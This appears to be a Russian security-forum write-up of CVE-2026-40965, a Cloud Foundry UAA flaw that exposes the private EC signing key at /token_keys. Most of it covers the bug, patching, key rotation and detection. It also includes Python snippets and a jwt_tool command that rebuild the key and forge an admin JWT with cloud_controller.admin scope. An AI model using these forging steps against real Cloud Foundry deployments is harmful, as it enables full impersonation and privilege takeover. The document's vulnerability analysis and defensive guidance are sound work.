На проверке CVE-2026-40965: утечка приватного EC-ключа в Cloud Foundry UAA — от GET-запроса до подделки JWT

Стальной конверт с восковой печатью в виде символа эллиптической кривой расколот пополам, внутри виден миниатюрный приватный EC-ключ на латунной пластине. Резкий боковой свет подчёркивает трещину,...


CVSS 10.0, один неаутентифицированный GET-запрос, приватный EC-ключ подписи JWT прямо в теле ответа. CVE-2026-40965 в Cloud Foundry UAA - из тех багов, которые перечитываешь дважды, потому что не веришь. Эндпоинт /token_keys, который по замыслу раздаёт только публичный ключевой материал для JWT-верификации, в версиях uaa_release v76.12.0 - v78.12.0 отдавал полный приватный компонент эллиптической кривой. Любому желающему. Без аутентификации. Русскоязычных разборов эксплуатации этой уязвимости Cloud Foundry UAA на момент публикации нет - всё ограничивается пересказом advisory. Ниже - механика бага, пошаговая эксплуатация с конкретными командами, подделка JWT-токенов Cloud Foundry и рекомендации по детекту.

Бизнес-логика атаки: зачем злоумышленнику EC-ключ UAA​

Cloud Foundry UAA (User Account and Authentication) - центральный OAuth2 UAA сервер авторизации в Cloud Foundry. Каждый JWT-токен, выданный этим сервером, подписан серверным ключом на основе асимметричного шифрования JWT. Микросервисы, Cloud Controller, маршрутизаторы - всё, что принимает решения по авторизации, проверяет подпись токена через публичный ключ JWKS endpoint /token_keys.

Компрометация подписывающего ключа - это не «утечка данных». Это полная потеря доверия ко всей системе токенов. Имея приватный ключ, атакующий может:
  • Генерировать JWT с произвольными claims: scope, user_id, authorities, client_id
  • Имперсонировать любого пользователя или сервисный аккаунт, включая admin
  • Обходить авторизацию на всех сервисах, доверяющих UAA-инстансу
  • Получить доступ к Cloud Controller API с правами оператора платформы
Токен будет криптографически валиден - ни один сервис не отличит подделку токенов доступа от легитимного. По данным CrowdStrike Global Threat Report 2025, 75% вторжений в 2024 году использовали действительные учётные данные. Вот только тут учётные данные даже красть не надо - можно нарисовать самому.

В терминах MITRE ATT&CK цепочка выглядит так:
  1. Exploit Public-Facing Application (T1190, Initial Access) - обращение к открытому /token_keys
  2. Private Keys (T1552.004, Credential Access) - извлечение приватного EC-ключа из ответа
  3. Forge Web Credentials (T1606, Credential Access) - подделка JWT-токенов Cloud Foundry с произвольными scopes (специализированной суб-техники для JWT в ATT&CK нет; T1606.002 описывает только SAML-токены)
  4. Cloud Accounts (T1078.004) - использование поддельных токенов для доступа к облачным ресурсам, персистенции и эскалации привилегий

Анатомия CVE-2026-40965 - уязвимость сериализации EC-ключей​

Корневая причина - CWE-200 (Exposure of Sensitive Information to an Unauthorized Actor). Классика облачных утечек информации. По данным NVD, уязвимость OAuth2 сервера Cloud Foundry получила CVSS 10.0 (CRITICAL) по двум метрикам:
  • CVSS 4.0: AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:L/SC:H/SI:H/SA:L
  • CVSS 3.1: вектор не опубликован в NVD на момент написания статьи (требует проверки по official advisory)
Разбор ключевых компонентов вектора:

ПараметрЗначениеЧто это значит на практике
AV:NNetworkАтака через сеть, физический доступ не нужен
AC:LLowНикаких специальных условий
PR:NNoneАутентификация не требуется
UI:NNoneДействие пользователя не нужно
VC:H, VI:HHighПолная компрометация конфиденциальности и целостности
SC:H, SI:H (CVSS 4.0)Changed scopeКаскадный импакт на все зависимые системы

Суть бага - в логике сериализации ключей при формировании JWK-ответа на endpoint /token_keys. Для RSA-ключей сериализация работает корректно: ответ содержит только публичные компоненты n (модуль) и e (публичная экспонента). А вот для EC-ключей код ошибочно включает параметр d - приватный скаляр эллиптической кривой - вместе с публичными координатами x и y.

Уязвимость специфична именно для логики сериализации EC-ключей. RSA-конфигурации не затронуты - там UAA корректно отсекает приватные компоненты. Кто-то написал сериализацию для RSA, проверил. Потом добавил EC - и забыл отфильтровать d. Баг-то элементарный, а последствия - на десятку по CVSS.

Разница между нормальным и уязвимым JWK-ответом для EC-ключа сводится к одному полю. В нормальном ответе: kty (EC), crv (P-256 / P-384), x, y, kid, use. В уязвимом - те же поля плюс d, 32-байтное (P-256) или 48-байтное (P-384) значение приватного скаляра в base64url-кодировке. Видите d в ответе - приватный ключ утёк.

Затронутые версии (по данным NVD):
  • uaa_release: v76.12.0 - v78.12.0 включительно
  • CF Deployment: точные границы затронутых версий не опубликованы в NVD на момент написания статьи

Пошаговая эксплуатация CVE-2026-40965​

📚 Часть контента скрыта. Этот материал доступен участникам сообщества с рангом One Level или выше
Получить доступ просто — достаточно зарегистрироваться и проявить активность на форуме

в ответе указывает на используемую кривую. P-256 (secp256r1) - 32 байта приватного скаляра, P-384 (secp384r1) - 48 байт. Это определяет алгоритм подписи: ES256 для P-256, ES384 для P-384.

Реконструкция ключа и подделка JWT-токенов​

Получив JWK с параметрами crv, x, y, d, нужно собрать PEM-формат приватного ключа. Ниже - концептуальный пример через python3 с библиотекой jwcrypto (перед использованием проверьте совместимость API с вашей версией):
Python:
from jwcrypto import jwk
# JWK из ответа /token_keys (пример для демонстрации концепции)
jwk_data = {
    "kty": "EC", "crv": "P-256",
    "x": "<значение_из_ответа>",
    "y": "<значение_из_ответа>",
    "d": "<значение_из_ответа>"
}
key = jwk.JWK(**jwk_data)
# Извлечение PEM - API export_to_pem различается между версиями jwcrypto.
# Альтернатива: используйте cryptography.hazmat.primitives.asymmetric.ec.EllipticCurvePrivateNumbers
# для сборки PEM из компонентов x, y, d напрямую.
# print(key.export_to_pem(private_key=True, password=None).decode())  # проверьте сигнатуру для вашей версии
На выходе - стандартный PEM-файл EC private key. Проверка: openssl ec -in private.pem -text -noout покажет параметры кривой, публичную точку и приватный скаляр.

С приватным ключом в PEM-формате подделка JWT-токенов Cloud Foundry сводится к вызову библиотеки. Через PyJWT:
Python:
import jwt
with open("private.pem") as f:
    key = f.read()
token = jwt.encode(
    {"user_id": "admin-uuid", "user_name": "admin",
     "scope": ["cloud_controller.admin", "uaa.admin"],
     "client_id": "cf", "exp": 9999999999},
    key, algorithm="ES256",
    headers={"kid": "key-1"}  # kid из ответа /token_keys
)
Полученный токен пройдёт верификацию подписи на любом сервисе, который проверяет JWT через тот же /token_keys - подпись сделана настоящим ключом. Через jwt_tool аналогичный результат: python3 jwt_tool.py -S ES256 -pr private.pem -I -pc scope -pv '["cloud_controller.admin"]' <исходный_jwt>.

Вот и вся эксплуатация. GET-запрос, три строки на Python, и у тебя токен с cloud_controller.admin. Никаких цепочек из пяти уязвимостей, никакого фаззинга - просто эндпоинт, который отдаёт то, что не должен.

Когда техника НЕ работает​

УсловиеРезультат
UAA использует RSA-ключиНе уязвим - сериализация RSA корректна
uaa_release < v76.12.0Не уязвим - баг введён в v76.12.0
uaa_release с исправлением (см. advisory)Пропатчен
/token_keys закрыт WAF/firewallЭксплуатация невозможна
Symmetric HMAC-верификацияEC-ключ бесполезен для подписи
Ротация ключей после утечкиТокены со старым kid отвергаются

Нюанс, который часто упускают: даже после установки патча приватный ключ считается скомпрометированным, если уязвимая версия хоть раз была доступна из сети. Патч закрывает утечку, но не решает проблему уже утёкшего ключа. Ротация обязательна.

Обнаружение и мониторинг утечки приватного ключа​

Проактивная проверка при облачном пентесте UAA. Запросить /token_keys и проверить наличие d в EC-ключах. Это первый шаг в любом аудите Cloud Foundry с JWT signing key leak в скоупе. Занимает секунд пять.

Мониторинг на уровне WAF/reverse proxy. Отслеживать аномальный объём запросов к /token_keys с внешних IP. Обычно этот эндпоинт запрашивают сервисы внутри платформы; систематические запросы извне - повод для расследования.

Детект на уровне JWT-верификации. Мониторить токены с нехарактерными scopes (cloud_controller.admin у аккаунта, который раньше таких привилегий не имел), аномально длинным exp, или выданные без соответствующей сессии аутентификации в UAA audit log.

Историческая справка. UAA уже фигурировал в утечках чувствительных данных по тому же CWE-200. CVE-2018-1192 - SessionID попадал в аудит-логи, позволяя имперсонацию пользователя. CVE-2016-6659 (CWE-287, Improper Authentication) - получение привилегий через доступ к логам UAA и последующее взаимодействие со сконфигурированным SAML-провайдером, что приводило к обходу аутентификации. Паттерн повторяется: инфраструктурные эндпоинты UAA раскрывают больше, чем спроектировано. Третий раз за восемь лет - тенденция, а не случайность.

Патч, ремедиация и ротация ключей​

По данным official advisory Cloud Foundry Foundation:
  1. Обновить uaa_release до версии, указанной в official advisory Cloud Foundry Foundation (конкретная патч-версия требует проверки по advisory)
  2. Обновить cf-deployment до версии, включающей исправленный uaa_release (см. official advisory)
  3. Ротировать EC-ключи - генерация новой пары: openssl ecparam -name prime256v1 -genkey -noout -out new_signing_key.pem
  4. Аудит JWT-токенов - проверить логи UAA на аномальные токены, выпущенные в период уязвимости
  5. Рассмотреть временный переход на RSA-ключи, если немедленное обновление невозможно - RSA-конфигурации не затронуты
Последовательность для BOSH-оператора: проверить текущую версию (bosh releases | grep uaa), запланировать деплоймент с обновлённым релизом (версию патча уточнить по official advisory), сгенерировать новую ключевую пару, обновить BOSH manifest с новым ключом, выполнить bosh deploy, убедиться что /token_keys больше не содержит d, инвалидировать все ранее выданные токены.

Тут нет сложной цепочки эксплуатации - баг в сериализации превращает JWKS API в дамп секретов. И вопрос, который после этого не даёт покоя: сколько ещё OAuth2-серверов имеют аналогичные дефекты в обработке EC-ключей, которые никто не проверял? JWKS-эндпоинты считаются «безопасными по определению» - они публичные, они раздают публичные ключи. Но «публичный эндпоинт» ≠ «безопасный эндпоинт», и эта уязвимость Cloud Foundry UAA доказала это с оценкой CVSS 10.0.

При этом EPSS (вероятность эксплуатации за 30 дней) - всего 0.0035 (перцентиль 27.43%), а CISA через Vulnrichment присвоила решение Track, отметив exploitation: none при automatable: yes и technical impact: total. Разрыв между теоретической критичностью и реальной вероятностью типичен для нишевых платформ - но для тех, кто на Cloud Foundry работает, это не повод расслабляться. По данным IBM X-Force Threat Intelligence Index 2025, среднее время между публикацией CVE и устранением в организации - 29 месяцев. Для тривиально автоматизируемой уязвимости с полным техническим импактом это неприемлемо.

Проверка curl -s https://uaa.<domain>/token_keys | grep '"d"' занимает секунду. А ответ на вопрос «утёк ли подписывающий ключ» определит, будете ли вы следующие месяцы разбирать инцидент с поддельными токенами - или нет.
 
Мы в соцсетях:

Взломай свой первый сервер и прокачай скилл — Начни игру на HackerLab

🚀 Первый раз на Codeby?
Гайд для новичков: что делать в первые 15 минут, ключевые разделы, правила
Начать здесь →
🧭 Навигатор · ИБ 2026
Не знаешь, какой трек твой?
5 направлений ИБ, реальные зарплаты и точка входа для каждого — в одном треде.
JuniorSenior+
100K → 600K+ ₽ /мес
Открыть навигатор →
🔴 Свежие CVE, 0-day и инциденты
То, о чём ChatGPT ещё не знает — обсуждаем в реальном времени
Threat Intel →
💼 Вакансии и заказы в ИБ
Pentest, SOC, DevSecOps, bug bounty — работа и проекты от проверенных компаний
Карьера в ИБ →

HackerLab